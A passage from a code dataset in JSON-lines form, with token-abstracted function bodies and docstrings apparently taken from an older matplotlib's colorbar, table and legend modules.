self.extend in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>b = b + [b[-<NUM_LIT:1>] + <NUM_LIT:1>]<EOL><DEDENT>b = np.array(b)<EOL>v = np.zeros((len(b)-<NUM_LIT:1>,), dtype=float)<EOL>bi = self.norm.boundaries<EOL>v[self._inside] = <NUM_LIT:0.5>*(bi[:-<NUM_LIT:1>] + bi[<NUM_LIT:1>:])<EOL>if self.extend in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>v[<NUM_LIT:0>] = b[<NUM_LIT:0>] - <NUM_LIT:1><EOL><DEDENT>if self.extend in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>v[-<NUM_LIT:1>] = b[-<NUM_LIT:1>] + <NUM_LIT:1><EOL><DEDENT>self._boundaries = b<EOL>self._values = v<EOL>return<EOL><DEDENT>else:<EOL><INDENT>if not self.norm.scaled():<EOL><INDENT>self.norm.vmin = <NUM_LIT:0><EOL>self.norm.vmax = <NUM_LIT:1><EOL><DEDENT>b = self.norm.inverse(self._uniform_y(self.cmap.N+<NUM_LIT:1>))<EOL>if self.extend in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>b[<NUM_LIT:0>] = b[<NUM_LIT:0>] - <NUM_LIT:1><EOL><DEDENT>if self.extend in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>b[-<NUM_LIT:1>] = b[-<NUM_LIT:1>] + <NUM_LIT:1><EOL><DEDENT><DEDENT>self._process_values(b)<EOL>", "docstring": "Set the :attr:`_boundaries` and :attr:`_values` attributes\nbased on the input boundaries and values.  Input boundaries\ncan be *self.boundaries* or the argument *b*.", "id": "f17170:c0:m10"}
{"signature": "def _find_range(self):", "body": "b = self._boundaries[self._inside]<EOL>self.vmin = b[<NUM_LIT:0>]<EOL>self.vmax = b[-<NUM_LIT:1>]<EOL>", "docstring": "Set :attr:`vmin` and :attr:`vmax` attributes to the first and\nlast boundary excluding extended end boundaries.", "id": "f17170:c0:m11"}
{"signature": "def _central_N(self):", "body": "nb = len(self._boundaries)<EOL>if self.extend == '<STR_LIT>':<EOL><INDENT>nb -= <NUM_LIT:2><EOL><DEDENT>elif self.extend in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>nb -= <NUM_LIT:1><EOL><DEDENT>return nb<EOL>", "docstring": "number of boundaries **before** extension of ends", "id": "f17170:c0:m12"}
{"signature": "def _extended_N(self):", "body": "N = self.cmap.N + <NUM_LIT:1><EOL>if self.extend == '<STR_LIT>':<EOL><INDENT>N += <NUM_LIT:2><EOL><DEDENT>elif self.extend in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>N += <NUM_LIT:1><EOL><DEDENT>return N<EOL>", "docstring": "Based on the colormap and extend variable, return the\nnumber of boundaries.", "id": "f17170:c0:m13"}
{"signature": "def _uniform_y(self, N):", "body": "if self.extend == '<STR_LIT>':<EOL><INDENT>y = np.linspace(<NUM_LIT:0>, <NUM_LIT:1>, N)<EOL><DEDENT>else:<EOL><INDENT>if self.extend == '<STR_LIT>':<EOL><INDENT>y = np.zeros(N + <NUM_LIT:2>, '<STR_LIT:d>')<EOL>y[<NUM_LIT:0>] = -<NUM_LIT><EOL>y[-<NUM_LIT:1>] = <NUM_LIT><EOL><DEDENT>elif self.extend == '<STR_LIT>':<EOL><INDENT>y = np.zeros(N + <NUM_LIT:1>, '<STR_LIT:d>')<EOL>y[<NUM_LIT:0>] = -<NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>y = np.zeros(N + <NUM_LIT:1>, '<STR_LIT:d>')<EOL>y[-<NUM_LIT:1>] = <NUM_LIT><EOL><DEDENT>y[self._inside] = np.linspace(<NUM_LIT:0>, <NUM_LIT:1>, N)<EOL><DEDENT>return y<EOL>", "docstring": "Return colorbar data coordinates for *N* uniformly\nspaced boundaries, plus ends if required.", "id": "f17170:c0:m14"}
{"signature": "def _proportional_y(self):", "body": "if isinstance(self.norm, colors.BoundaryNorm):<EOL><INDENT>b = self._boundaries[self._inside]<EOL>y = (self._boundaries - self._boundaries[<NUM_LIT:0>])<EOL>y = y / (self._boundaries[-<NUM_LIT:1>] - self._boundaries[<NUM_LIT:0>])<EOL><DEDENT>else:<EOL><INDENT>y = self.norm(self._boundaries.copy())<EOL><DEDENT>if self.extend in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>y[<NUM_LIT:0>] = -<NUM_LIT><EOL><DEDENT>if self.extend in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>y[-<NUM_LIT:1>] = <NUM_LIT><EOL><DEDENT>yi = y[self._inside]<EOL>norm = colors.Normalize(yi[<NUM_LIT:0>], yi[-<NUM_LIT:1>])<EOL>y[self._inside] = norm(yi)<EOL>return y<EOL>", "docstring": "Return colorbar data coordinates for the boundaries of\na proportional colorbar.", "id": "f17170:c0:m15"}
{"signature": "def _mesh(self):", "body": "x = np.array([<NUM_LIT:0.0>, <NUM_LIT:1.0>])<EOL>if self.spacing == '<STR_LIT>':<EOL><INDENT>y = self._uniform_y(self._central_N())<EOL><DEDENT>else:<EOL><INDENT>y = self._proportional_y()<EOL><DEDENT>self._y = y<EOL>X, Y = np.meshgrid(x,y)<EOL>if self.extend in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>X[<NUM_LIT:0>,:] = <NUM_LIT:0.5><EOL><DEDENT>if self.extend in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>X[-<NUM_LIT:1>,:] = <NUM_LIT:0.5><EOL><DEDENT>return X, Y<EOL>", "docstring": "Return X,Y, the coordinate arrays for the colorbar pcolormesh.\nThese are suitable for a vertical colorbar; swapping and\ntransposition for a horizontal colorbar are done outside\nthis function.", "id": "f17170:c0:m16"}
{"signature": "def _locate(self, x):", "body": "if isinstance(self.norm, (colors.NoNorm, colors.BoundaryNorm)):<EOL><INDENT>b = self._boundaries<EOL>xn = x<EOL>xout = x<EOL><DEDENT>else:<EOL><INDENT>b = self.norm(self._boundaries, clip=False).filled()<EOL>xn = self.norm(x, clip=False).filled()<EOL>in_cond = (xn > -<NUM_LIT>) & (xn < <NUM_LIT>)<EOL>xn = np.compress(in_cond, xn)<EOL>xout = np.compress(in_cond, x)<EOL><DEDENT>y = self._y<EOL>N = len(b)<EOL>ii = np.minimum(np.searchsorted(b, xn), N-<NUM_LIT:1>)<EOL>i0 = np.maximum(ii - <NUM_LIT:1>, <NUM_LIT:0>)<EOL>db = np.take(b, ii) - np.take(b, i0)<EOL>db = np.where(i0==ii, <NUM_LIT:1.0>, db)<EOL>dy = np.take(y, ii) - np.take(y, i0)<EOL>z = np.take(y, i0) + (xn-np.take(b,i0))*dy/db<EOL>return xout, z<EOL>", "docstring": "Given a possible set of color data values, return the ones\nwithin range, together with their corresponding colorbar\ndata coordinates.", "id": "f17170:c0:m17"}
{"signature": "def add_lines(self, CS):", "body": "if not isinstance(CS, contour.ContourSet) or CS.filled:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>tcolors = [c[<NUM_LIT:0>] for c in CS.tcolors]<EOL>tlinewidths = [t[<NUM_LIT:0>] for t in CS.tlinewidths]<EOL>ColorbarBase.add_lines(self, CS.levels, tcolors, tlinewidths)<EOL>", "docstring": "Add the lines from a non-filled\n:class:`~matplotlib.contour.ContourSet` to the colorbar.", "id": "f17170:c1:m1"}
{"signature": "def update_bruteforce(self, mappable):", "body": "<EOL>self.ax.cla()<EOL>self.draw_all()<EOL>if isinstance(self.mappable, contour.ContourSet):<EOL><INDENT>CS = self.mappable<EOL>if not CS.filled:<EOL><INDENT>self.add_lines(CS)<EOL><DEDENT><DEDENT>", "docstring": "Manually change any contour line colors.  This is called\nwhen the image or contour plot to which this colorbar belongs\nis changed.", "id": "f17170:c1:m2"}
{"signature": "def table(ax,<EOL>cellText=None, cellColours=None,<EOL>cellLoc='<STR_LIT:right>', colWidths=None,<EOL>rowLabels=None, rowColours=None, rowLoc='<STR_LIT:left>',<EOL>colLabels=None, colColours=None, colLoc='<STR_LIT>',<EOL>loc='<STR_LIT>', bbox=None):", "body": "<EOL>if cellText is None:<EOL><INDENT>rows = len(cellColours)<EOL>cols = len(cellColours[<NUM_LIT:0>])<EOL>cellText = [['<STR_LIT>'] * rows] * cols<EOL><DEDENT>rows = len(cellText)<EOL>cols = len(cellText[<NUM_LIT:0>])<EOL>for row in cellText:<EOL><INDENT>assert len(row) == cols<EOL><DEDENT>if cellColours is not None:<EOL><INDENT>assert len(cellColours) == rows<EOL>for row in cellColours:<EOL><INDENT>assert len(row) == cols<EOL><DEDENT><DEDENT>else:<EOL><INDENT>cellColours = ['<STR_LIT:w>' * cols] * rows<EOL><DEDENT>if colWidths is None:<EOL><INDENT>colWidths = [<NUM_LIT:1.0>/cols] * cols<EOL><DEDENT>rowLabelWidth = <NUM_LIT:0><EOL>if rowLabels is None:<EOL><INDENT>if rowColours is not None:<EOL><INDENT>rowLabels = ['<STR_LIT>'] * cols<EOL>rowLabelWidth = colWidths[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>elif rowColours is None:<EOL><INDENT>rowColours = '<STR_LIT:w>' * rows<EOL><DEDENT>if rowLabels is not None:<EOL><INDENT>assert len(rowLabels) == rows<EOL><DEDENT>offset = <NUM_LIT:0><EOL>if colLabels is None:<EOL><INDENT>if colColours is not None:<EOL><INDENT>colLabels = ['<STR_LIT>'] * rows<EOL>offset = <NUM_LIT:1><EOL><DEDENT><DEDENT>elif colColours is None:<EOL><INDENT>colColours = '<STR_LIT:w>' * cols<EOL>offset = <NUM_LIT:1><EOL><DEDENT>if rowLabels is not None:<EOL><INDENT>assert len(rowLabels) == rows<EOL><DEDENT>if cellColours is None:<EOL><INDENT>cellColours = ['<STR_LIT:w>' * cols] * rows<EOL><DEDENT>table = Table(ax, loc, bbox)<EOL>height = table._approx_text_height()<EOL>for row in xrange(rows):<EOL><INDENT>for col in xrange(cols):<EOL><INDENT>table.add_cell(row+offset, col,<EOL>width=colWidths[col], height=height,<EOL>text=cellText[row][col],<EOL>facecolor=cellColours[row][col],<EOL>loc=cellLoc)<EOL><DEDENT><DEDENT>if colLabels is not None:<EOL><INDENT>for col in xrange(cols):<EOL><INDENT>table.add_cell(<NUM_LIT:0>, col,<EOL>width=colWidths[col], height=height,<EOL>text=colLabels[col], facecolor=colColours[col],<EOL>loc=colLoc)<EOL><DEDENT><DEDENT>if rowLabels is not None:<EOL><INDENT>for row in xrange(rows):<EOL><INDENT>table.add_cell(row+offset, -<NUM_LIT:1>,<EOL>width=rowLabelWidth or <NUM_LIT>, height=height,<EOL>text=rowLabels[row], facecolor=rowColours[row],<EOL>loc=rowLoc)<EOL><DEDENT>if rowLabelWidth == <NUM_LIT:0>:<EOL><INDENT>table.auto_set_column_width(-<NUM_LIT:1>)<EOL><DEDENT><DEDENT>ax.add_table(table)<EOL>return table<EOL>", "docstring": "TABLE(cellText=None, cellColours=None,\n      cellLoc='right', colWidths=None,\n      rowLabels=None, rowColours=None, rowLoc='left',\n      colLabels=None, colColours=None, colLoc='center',\n      loc='bottom', bbox=None)\n\nFactory function to generate a Table instance.\n\nThanks to John Gill for providing the class and table.", "id": "f17171:m0"}
{"signature": "def get_text(self):", "body": "return self._text<EOL>", "docstring": "Return the cell Text intance", "id": "f17171:c0:m3"}
{"signature": "def get_fontsize(self):", "body": "return self._text.get_fontsize()<EOL>", "docstring": "Return the cell fontsize", "id": "f17171:c0:m5"}
{"signature": "def auto_set_font_size(self, renderer):", "body": "fontsize = self.get_fontsize()<EOL>required = self.get_required_width(renderer)<EOL>while fontsize > <NUM_LIT:1> and required > self.get_width():<EOL><INDENT>fontsize -= <NUM_LIT:1><EOL>self.set_fontsize(fontsize)<EOL>required = self.get_required_width(renderer)<EOL><DEDENT>return fontsize<EOL>", "docstring": "Shrink font size until text fits.", "id": "f17171:c0:m6"}
{"signature": "def _set_text_position(self, renderer):", "body": "bbox = self.get_window_extent(renderer)<EOL>l, b, w, h = bbox.bounds<EOL>self._text.set_verticalalignment('<STR_LIT>')<EOL>y = b + (h / <NUM_LIT>)<EOL>if self._loc == '<STR_LIT>':<EOL><INDENT>self._text.set_horizontalalignment('<STR_LIT>')<EOL>x = l + (w / <NUM_LIT>)<EOL><DEDENT>elif self._loc == '<STR_LIT:left>':<EOL><INDENT>self._text.set_horizontalalignment('<STR_LIT:left>')<EOL>x = l + (w * self.PAD)<EOL><DEDENT>else:<EOL><INDENT>self._text.set_horizontalalignment('<STR_LIT:right>')<EOL>x = l + (w * (<NUM_LIT:1.0> - self.PAD))<EOL><DEDENT>self._text.set_position((x, y))<EOL>", "docstring": "Set text up so it draws in the right place.\n\n        Currently support 'left', 'center' and 'right'", "id": "f17171:c0:m8"}
{"signature": "def get_text_bounds(self, renderer):", "body": "bbox = self._text.get_window_extent(renderer)<EOL>bboxa = bbox.inverse_transformed(self.get_data_transform())<EOL>return bboxa.bounds<EOL>", "docstring": "Get text bounds in axes co-ordinates.", "id": "f17171:c0:m9"}
{"signature": "def get_required_width(self, renderer):", "body": "l,b,w,h = self.get_text_bounds(renderer)<EOL>return w * (<NUM_LIT:1.0> + (<NUM_LIT> * self.PAD))<EOL>", "docstring": "Get width required for this cell.", "id": "f17171:c0:m10"}
{"signature": "def set_text_props(self, **kwargs):", "body": "self._text.update(kwargs)<EOL>", "docstring": "update the text properties with kwargs", "id": "f17171:c0:m11"}
{"signature": "def add_cell(self, row, col, *args, **kwargs):", "body": "xy = (<NUM_LIT:0>,<NUM_LIT:0>)<EOL>cell = Cell(xy, *args, **kwargs)<EOL>cell.set_figure(self.figure)<EOL>cell.set_transform(self.get_transform())<EOL>cell.set_clip_on(False)<EOL>self._cells[(row, col)] = cell<EOL>", "docstring": "Add a cell to the table.", "id": "f17171:c1:m1"}
{"signature": "def _get_grid_bbox(self, renderer):", "body": "boxes = [self._cells[pos].get_window_extent(renderer)<EOL>for pos in self._cells.keys()<EOL>if pos[<NUM_LIT:0>] >= <NUM_LIT:0> and pos[<NUM_LIT:1>] >= <NUM_LIT:0>]<EOL>bbox = Bbox.union(boxes)<EOL>return bbox.inverse_transformed(self.get_transform())<EOL>", "docstring": "Get a bbox, in axes co-ordinates for the cells.\n\n        Only include those in the range (0,0) to (maxRow, maxCol)", "id": "f17171:c1:m4"}
{"signature": "def contains(self,mouseevent):", "body": "if callable(self._contains): return self._contains(self,mouseevent)<EOL>if self._cachedRenderer is not None:<EOL><INDENT>boxes = [self._cells[pos].get_window_extent(self._cachedRenderer)<EOL>for pos in self._cells.keys()<EOL>if pos[<NUM_LIT:0>] >= <NUM_LIT:0> and pos[<NUM_LIT:1>] >= <NUM_LIT:0>]<EOL>bbox = bbox_all(boxes)<EOL>return bbox.contains(mouseevent.x,mouseevent.y),{}<EOL><DEDENT>else:<EOL><INDENT>return False,{}<EOL><DEDENT>", "docstring": "Test whether the mouse event occurred in the table.\n\n        Returns T/F, {}", "id": "f17171:c1:m5"}
{"signature": "def get_children(self):", "body": "return self._cells.values()<EOL>", "docstring": "Return the Artists contained by the table", "id": "f17171:c1:m6"}
{"signature": "def get_window_extent(self, renderer):", "body": "boxes = [c.get_window_extent(renderer) for c in self._cells]<EOL>return bbox_all(boxes)<EOL>", "docstring": "Return the bounding box of the table in window coords", "id": "f17171:c1:m7"}
{"signature": "def _do_cell_alignment(self):", "body": "<EOL>widths = {}<EOL>heights = {}<EOL>for (row, col), cell in self._cells.iteritems():<EOL><INDENT>height = heights.setdefault(row, <NUM_LIT:0.0>)<EOL>heights[row] = max(height, cell.get_height())<EOL>width = widths.setdefault(col, <NUM_LIT:0.0>)<EOL>widths[col] = max(width, cell.get_width())<EOL><DEDENT>xpos = <NUM_LIT:0><EOL>lefts = {}<EOL>cols = widths.keys()<EOL>cols.sort()<EOL>for col in cols:<EOL><INDENT>lefts[col] = xpos<EOL>xpos += widths[col]<EOL><DEDENT>ypos = <NUM_LIT:0><EOL>bottoms = {}<EOL>rows = heights.keys()<EOL>rows.sort()<EOL>rows.reverse()<EOL>for row in rows:<EOL><INDENT>bottoms[row] = ypos<EOL>ypos += heights[row]<EOL><DEDENT>for (row, col), cell in self._cells.iteritems():<EOL><INDENT>cell.set_x(lefts[col])<EOL>cell.set_y(bottoms[row])<EOL><DEDENT>", "docstring": "Calculate row heights and column widths.\n\n        Position cells accordingly.", "id": "f17171:c1:m8"}
{"signature": "def _auto_set_column_width(self, col, renderer):", "body": "cells = [key for key in self._cells if key[<NUM_LIT:1>] == col]<EOL>width = <NUM_LIT:0><EOL>for cell in cells:<EOL><INDENT>c = self._cells[cell]<EOL>width = max(c.get_required_width(renderer), width)<EOL><DEDENT>for cell in cells:<EOL><INDENT>self._cells[cell].set_width(width)<EOL><DEDENT>", "docstring": "Automagically set width for column.", "id": "f17171:c1:m10"}
{"signature": "def auto_set_font_size(self, value=True):", "body": "self._autoFontsize = value<EOL>", "docstring": "Automatically set font size.", "id": "f17171:c1:m11"}
{"signature": "def scale(self, xscale, yscale):", "body": "for c in self._cells.itervalues():<EOL><INDENT>c.set_width(c.get_width() * xscale)<EOL>c.set_height(c.get_height() * yscale)<EOL><DEDENT>", "docstring": "Scale column widths by xscale and row heights by yscale.", "id": "f17171:c1:m13"}
{"signature": "def set_fontsize(self, size):", "body": "for cell in self._cells.itervalues():<EOL><INDENT>cell.set_fontsize(size)<EOL><DEDENT>", "docstring": "Set the fontsize of the cell text\n\nACCEPTS: a float in points", "id": "f17171:c1:m14"}
{"signature": "def _offset(self, ox, oy):", "body": "for c in self._cells.itervalues():<EOL><INDENT>x, y = c.get_x(), c.get_y()<EOL>c.set_x(x+ox)<EOL>c.set_y(y+oy)<EOL><DEDENT>", "docstring": "Move all the artists by ox,oy (axes coords)", "id": "f17171:c1:m15"}
{"signature": "def get_celld(self):", "body": "return self._cells<EOL>", "docstring": "return a dict of cells in the table", "id": "f17171:c1:m17"}
{"signature": "def __init__(self, parent, handles, labels,<EOL>loc = None,<EOL>numpoints = None,     <EOL>markerscale = None,   <EOL>scatterpoints = <NUM_LIT:3>,    <EOL>scatteryoffsets=None,<EOL>prop = None,          <EOL>pad = None,           <EOL>labelsep = None,      <EOL>handlelen = None,     <EOL>handletextsep = None, <EOL>axespad = None,       <EOL>borderpad = None,     <EOL>labelspacing=None, <EOL>handlelength=None, <EOL>handletextpad=None, <EOL>borderaxespad=None, <EOL>columnspacing=None, <EOL>ncol=<NUM_LIT:1>, <EOL>mode=None, <EOL>fancybox=None, <EOL>shadow = None,<EOL>):", "body": "from matplotlib.axes import Axes     <EOL>from matplotlib.figure import Figure <EOL>Artist.__init__(self)<EOL>if prop is None:<EOL><INDENT>self.prop=FontProperties(size=rcParams[\"<STR_LIT>\"])<EOL><DEDENT>else:<EOL><INDENT>self.prop=prop<EOL><DEDENT>self.fontsize = self.prop.get_size_in_points()<EOL>propnames=['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', \"<STR_LIT>\",<EOL>\"<STR_LIT>\"]<EOL>localdict = locals()<EOL>for name in propnames:<EOL><INDENT>if localdict[name] is None:<EOL><INDENT>value = rcParams[\"<STR_LIT>\"+name]<EOL><DEDENT>else:<EOL><INDENT>value = localdict[name]<EOL><DEDENT>setattr(self, name, value)<EOL><DEDENT>deprecated_kwds = {\"<STR_LIT>\":\"<STR_LIT>\",<EOL>\"<STR_LIT>\":\"<STR_LIT>\",<EOL>\"<STR_LIT>\":\"<STR_LIT>\",<EOL>\"<STR_LIT>\":\"<STR_LIT>\",<EOL>\"<STR_LIT>\":\"<STR_LIT>\"}<EOL>bbox = parent.bbox<EOL>axessize_fontsize = min(bbox.width, bbox.height)/self.fontsize<EOL>for k, v in deprecated_kwds.items():<EOL><INDENT>if localdict[k] is not None and localdict[v] is None:<EOL><INDENT>warnings.warn(\"<STR_LIT>\" % (v, k),<EOL>DeprecationWarning)<EOL>setattr(self, v, localdict[k]*axessize_fontsize)<EOL>continue<EOL><DEDENT>if localdict[v] is None:<EOL><INDENT>setattr(self, v, rcParams[\"<STR_LIT>\"+v])<EOL><DEDENT>else:<EOL><INDENT>setattr(self, v, localdict[v])<EOL><DEDENT><DEDENT>del localdict<EOL>self._ncol = ncol<EOL>if self.numpoints <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\"% numpoints)<EOL><DEDENT>if scatteryoffsets is None:<EOL><INDENT>self._scatteryoffsets = np.array([<NUM_LIT>/<NUM_LIT>, <NUM_LIT>/<NUM_LIT>, <NUM_LIT>/<NUM_LIT>])<EOL><DEDENT>else:<EOL><INDENT>self._scatteryoffsets = np.asarray(scatteryoffsets)<EOL><DEDENT>reps =  int(self.numpoints / len(self._scatteryoffsets)) + <NUM_LIT:1><EOL>self._scatteryoffsets = np.tile(self._scatteryoffsets, reps)[:self.scatterpoints]<EOL>self._legend_box = None<EOL>if isinstance(parent,Axes):<EOL><INDENT>self.isaxes = True<EOL>self.set_figure(parent.figure)<EOL><DEDENT>elif isinstance(parent,Figure):<EOL><INDENT>self.isaxes = False<EOL>self.set_figure(parent)<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>self.parent = parent<EOL>if loc is None:<EOL><INDENT>loc = rcParams[\"<STR_LIT>\"]<EOL>if not self.isaxes and loc in [<NUM_LIT:0>,'<STR_LIT>']:<EOL><INDENT>loc = '<STR_LIT>'<EOL><DEDENT><DEDENT>if is_string_like(loc):<EOL><INDENT>if loc not in self.codes:<EOL><INDENT>if self.isaxes:<EOL><INDENT>warnings.warn('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>% (loc, '<STR_LIT>'.join(self.codes.keys())))<EOL>loc = <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>warnings.warn('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>% (loc, '<STR_LIT>'.join(self.codes.keys())))<EOL>loc = <NUM_LIT:1><EOL><DEDENT><DEDENT>else:<EOL><INDENT>loc = self.codes[loc]<EOL><DEDENT><DEDENT>if not self.isaxes and loc == <NUM_LIT:0>:<EOL><INDENT>warnings.warn('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>loc = <NUM_LIT:1><EOL><DEDENT>self._loc = loc<EOL>self._mode = mode<EOL>self.legendPatch = FancyBboxPatch(<EOL>xy=(<NUM_LIT:0.0>, <NUM_LIT:0.0>), width=<NUM_LIT:1.>, height=<NUM_LIT:1.>,<EOL>facecolor='<STR_LIT:w>', edgecolor='<STR_LIT:k>',<EOL>mutation_scale=self.fontsize,<EOL>snap=True<EOL>)<EOL>if fancybox is None:<EOL><INDENT>fancybox = rcParams[\"<STR_LIT>\"]<EOL><DEDENT>if fancybox == True:<EOL><INDENT>self.legendPatch.set_boxstyle(\"<STR_LIT>\",pad=<NUM_LIT:0>,<EOL>rounding_size=<NUM_LIT>)<EOL><DEDENT>else:<EOL><INDENT>self.legendPatch.set_boxstyle(\"<STR_LIT>\",pad=<NUM_LIT:0>)<EOL><DEDENT>self._set_artist_props(self.legendPatch)<EOL>self._drawFrame = True<EOL>self._init_legend_box(handles, labels)<EOL>self._last_fontsize_points = self.fontsize<EOL>", "docstring": "- *parent* : the artist that contains the legend\n        - *handles* : a list of artists (lines, patches) to add to the legend\n        - *labels* : a list of strings to label the legend\n\n        Optional keyword arguments:\n\n        ================   ==================================================================\n        Keyword            Description\n        ================   ==================================================================\n        loc                a location code or a tuple of coordinates\n        numpoints          the number of points in the legend line\n        prop               the font property\n        markerscale        the relative size of legend markers vs. original\n        fancybox           if True, draw a frame with a round fancybox.  If None, use rc\n        shadow             if True, draw a shadow behind legend\n        scatteryoffsets    a list of yoffsets for scatter symbols in legend\n        borderpad          the fractional whitespace inside the legend border\n        labelspacing       the vertical space between the legend entries\n        handlelength       the length of the legend handles\n        handletextpad      the pad between the legend handle and text\n        borderaxespad      the pad between the axes and legend border\n        columnspacing      the spacing between columns\n        ================   ==================================================================\n\nThe dimensions of pad and spacing are given as a fraction of the\nfontsize. Values from rcParams will be used if None.", "id": "f17172:c0:m1"}
{"signature": "def _set_artist_props(self, a):", "body": "a.set_figure(self.figure)<EOL>for c in self.get_children():<EOL><INDENT>c.set_figure(self.figure)<EOL><DEDENT>a.set_transform(self.get_transform())<EOL>", "docstring": "set the boilerplate props for artists added to axes", "id": "f17172:c0:m2"}
{"signature": "def _findoffset_best(self, width, height, xdescent, ydescent, renderer):", "body": "ox, oy = self._find_best_position(width, height, renderer)<EOL>return ox+xdescent, oy+ydescent<EOL>", "docstring": "Heper function to locate the legend at its best position", "id": "f17172:c0:m3"}
{"signature": "def _findoffset_loc(self, width, height, xdescent, ydescent, renderer):", "body": "if iterable(self._loc) and len(self._loc)==<NUM_LIT:2>:<EOL><INDENT>fx, fy = self._loc<EOL>bbox = self.parent.bbox<EOL>x, y = bbox.x0 + bbox.width * fx, bbox.y0 + bbox.height * fy<EOL><DEDENT>else:<EOL><INDENT>bbox = Bbox.from_bounds(<NUM_LIT:0>, <NUM_LIT:0>, width, height)<EOL>x, y = self._get_anchored_bbox(self._loc, bbox, self.parent.bbox, renderer)<EOL><DEDENT>return x+xdescent, y+ydescent<EOL>", "docstring": "Heper function to locate the legend using the location code", "id": "f17172:c0:m4"}
{"signature": "def draw(self, renderer):", "body": "if not self.get_visible(): return<EOL>self._update_legend_box(renderer)<EOL>renderer.open_group('<STR_LIT>')<EOL>if self._loc == <NUM_LIT:0>:<EOL><INDENT>_findoffset = self._findoffset_best<EOL><DEDENT>else:<EOL><INDENT>_findoffset = self._findoffset_loc<EOL><DEDENT>def findoffset(width, height, xdescent, ydescent):<EOL><INDENT>return _findoffset(width, height, xdescent, ydescent, renderer)<EOL><DEDENT>self._legend_box.set_offset(findoffset)<EOL>fontsize = renderer.points_to_pixels(self.fontsize)<EOL>if self._mode in [\"<STR_LIT>\"]:<EOL><INDENT>pad = <NUM_LIT:2>*(self.borderaxespad+self.borderpad)*fontsize<EOL>self._legend_box.set_width(self.parent.bbox.width-pad)<EOL><DEDENT>if self._drawFrame:<EOL><INDENT>bbox = self._legend_box.get_window_extent(renderer)<EOL>self.legendPatch.set_bounds(bbox.x0, bbox.y0,<EOL>bbox.width, bbox.height)<EOL>self.legendPatch.set_mutation_scale(fontsize)<EOL>if self.shadow:<EOL><INDENT>shadow = Shadow(self.legendPatch, <NUM_LIT:2>, -<NUM_LIT:2>)<EOL>shadow.draw(renderer)<EOL><DEDENT>self.legendPatch.draw(renderer)<EOL><DEDENT>self._legend_box.draw(renderer)<EOL>renderer.close_group('<STR_LIT>')<EOL>", "docstring": "Draw everything that belongs to the legend", "id": "f17172:c0:m5"}
{"signature": "def _approx_text_height(self, renderer=None):", "body": "if renderer is None:<EOL><INDENT>return self.fontsize<EOL><DEDENT>else:<EOL><INDENT>return renderer.points_to_pixels(self.fontsize)<EOL><DEDENT>", "docstring": "Return the approximate height of the text. This is used to place\nthe legend handle.", "id": "f17172:c0:m6"}
{"signature": "def _init_legend_box(self, handles, labels):", "body": "fontsize = self.fontsize<EOL>text_list = []  <EOL>handle_list = []  <EOL>label_prop = dict(verticalalignment='<STR_LIT>',<EOL>horizontalalignment='<STR_LIT:left>',<EOL>fontproperties=self.prop,<EOL>)<EOL>labelboxes = []<EOL>for l in labels:<EOL><INDENT>textbox = TextArea(l, textprops=label_prop,<EOL>multilinebaseline=True, minimumdescent=True)<EOL>text_list.append(textbox._text)<EOL>labelboxes.append(textbox)<EOL><DEDENT>handleboxes = []<EOL>height = self._approx_text_height() * <NUM_LIT><EOL>descent = <NUM_LIT:0.><EOL>for handle in handles:<EOL><INDENT>if isinstance(handle, RegularPolyCollection):<EOL><INDENT>npoints = self.scatterpoints<EOL><DEDENT>else:<EOL><INDENT>npoints = self.numpoints<EOL><DEDENT>if npoints > <NUM_LIT:1>:<EOL><INDENT>xdata = np.linspace(<NUM_LIT>*fontsize,<EOL>(self.handlelength-<NUM_LIT>)*fontsize,<EOL>npoints)<EOL>xdata_marker = xdata<EOL><DEDENT>elif npoints == <NUM_LIT:1>:<EOL><INDENT>xdata = np.linspace(<NUM_LIT:0>, self.handlelength*fontsize, <NUM_LIT:2>)<EOL>xdata_marker = [<NUM_LIT:0.5>*self.handlelength*fontsize]<EOL><DEDENT>if isinstance(handle, Line2D):<EOL><INDENT>ydata = ((height-descent)/<NUM_LIT>)*np.ones(xdata.shape, float)<EOL>legline = Line2D(xdata, ydata)<EOL>legline.update_from(handle)<EOL>self._set_artist_props(legline) <EOL>legline.set_clip_box(None)<EOL>legline.set_clip_path(None)<EOL>legline.set_drawstyle('<STR_LIT:default>')<EOL>legline.set_marker('<STR_LIT:None>')<EOL>handle_list.append(legline)<EOL>legline_marker = Line2D(xdata_marker, ydata[:len(xdata_marker)])<EOL>legline_marker.update_from(handle)<EOL>self._set_artist_props(legline_marker)<EOL>legline_marker.set_clip_box(None)<EOL>legline_marker.set_clip_path(None)<EOL>legline_marker.set_linestyle('<STR_LIT:None>')<EOL>legline._legmarker = legline_marker<EOL><DEDENT>elif isinstance(handle, Patch):<EOL><INDENT>p = Rectangle(xy=(<NUM_LIT:0.>, <NUM_LIT:0.>),<EOL>width = self.handlelength*fontsize,<EOL>height=(height-descent),<EOL>)<EOL>p.update_from(handle)<EOL>self._set_artist_props(p)<EOL>p.set_clip_box(None)<EOL>p.set_clip_path(None)<EOL>handle_list.append(p)<EOL><DEDENT>elif isinstance(handle, LineCollection):<EOL><INDENT>ydata = ((height-descent)/<NUM_LIT>)*np.ones(xdata.shape, float)<EOL>legline = Line2D(xdata, ydata)<EOL>self._set_artist_props(legline)<EOL>legline.set_clip_box(None)<EOL>legline.set_clip_path(None)<EOL>lw = handle.get_linewidth()[<NUM_LIT:0>]<EOL>dashes = handle.get_dashes()[<NUM_LIT:0>]<EOL>color 